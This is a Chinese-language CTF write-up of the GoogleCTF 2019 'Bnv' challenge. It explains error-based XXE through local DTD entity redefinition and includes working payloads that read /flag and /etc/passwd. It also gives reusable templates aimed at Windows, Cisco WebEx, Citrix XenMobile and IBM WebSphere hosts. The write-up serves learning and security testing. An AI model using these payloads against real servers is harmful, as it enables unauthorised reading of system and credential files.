0%

从Bnv开始的XXE漫谈

0x00 前言

​ 这一段正好在学JavaXXE。今天刚好做到了[GoogleCTF2019 Quals]Bnv。看了WriteUp之后感觉自己又学到了好多。在这里记录一下吧。

0x01 例题

​ 首先进入题目的界面,发现这一题使用的是json传输。然后大佬就联想到了json转化为xxe进行文件读取?这是什么逻辑?找了资料之后才看懂一点。先看一下数据包的结构吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/search HTTP/1.1
Host: af6756fc-f568-4cb8-a6cb-be843e5a7c01.node3.buuoj.cn
Content-Length: 38
Origin: http://af6756fc-f568-4cb8-a6cb-be843e5a7c01.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Content-type: application/json
Accept: */*
Referer: http://af6756fc-f568-4cb8-a6cb-be843e5a7c01.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close

{"message":"135601360123502401401250"}

​ 因为Content-Type头是application/json。所以服务器所收到的是json数据。而如果我们修改为application/xml那么服务器默认会以为收到的是xml格式的数据,而如果我们发送的不是这个格式,那么肯定会报错的啊。会爆出下面的错误:

image-20200516135325888

​ 如果出现类似的错误,即大概意思是xml文件的格式不对的,它的服务器变相的卖出它自己可以解析xml文件。所以我们可以尝试xxe。顺便一提,这里好像是只有使用java作为后端才会可能出现这样的情况。选择POST下面的数据看看有没有回显:

1
2
3
4
5
6
7
8
REQUEST:
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<message>name</message>
</root>

RESPONSE:
Validation failed: no DTD found !, line 2, column 6

​ 发现没有.dtd文件。所以这里我们需要一个可以利用的.dtd文件,而xxe中有一个点我之前没有学,这里刚好补上(泪目,看来什么都要学啊)。就是本地去找.dtd文件然后使用本地.dtd文件上传造成xxe。那么直接贴上这道题目的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

<!ENTITY % ISOamsa '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>

%local_dtd;
]>

​ 获得flag

image-20200516141018340

​ 但是做习题的时候flag根本就不是我们的目的。我们来具体的分析一下(指留下白嫖的POC)。

0x02 POC

​ 其实这种xxe类似于报错注入,毕竟都是通过报错把,数据给带出来的。如果服务器和你的主机之间没有防火墙的话,你当然可以通过Blind XXE的基础用法来读取文件。但是如果有,那么我们就只剩下报错利用了。上面的POC只是基于linux下的POC,那么其他平台下我们该怎么办呢?

模板(自己的模板,不一定对,如果不行记得去多试几遍大佬的):

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

<!ENTITY % ISOamsa '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>

%local_dtd;
]>

Windows:

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

linux:

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

Cisco WebEx:

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Citrix XenMobile Server:

1
2
3
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

多平台 IBM WebSphere 应用:

1
2
3
4
5
6
7
8
9
10
11
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

​ 最后简单的介绍一下原理吧。

0x03 原理

​ 看着下面的XXE攻击方法,如果不包含外部实体的话是不是无法理解:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;test&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

​ 错误原因是:外部DTD允许我们在第二个实体中包含一个实体,但它在内部DTD中被禁止。但是如果使用本地的DTD文件为什么就可以了呢?

​ 本地的DTD文件起作用是因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。这么说可能还有人不太懂(就是当初的我),举个大佬的例子吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

<!ENTITY % condition 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
]>
<message>any text</message>

sip-app_1_0.dtd文件中的内容为:

1
2
3
4

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>

​ 所以我们定义了两个具有相同名称的实体condition。而只使用第一个实体使我们可以完成XXE

0x04 参考

使用本地DTD文件来利用XXE漏洞实现任意结果输出

https://www.freebuf.com/articles/web/195899.html

通过Google CTF的BNV学习一下XXE

http://yugod.xmutsec.com/index.php/2019/07/14/50.html

神奇的Content-Type——在JSON中玩转XXE攻击

https://www.cnblogs.com/blacksunny/p/7891495.html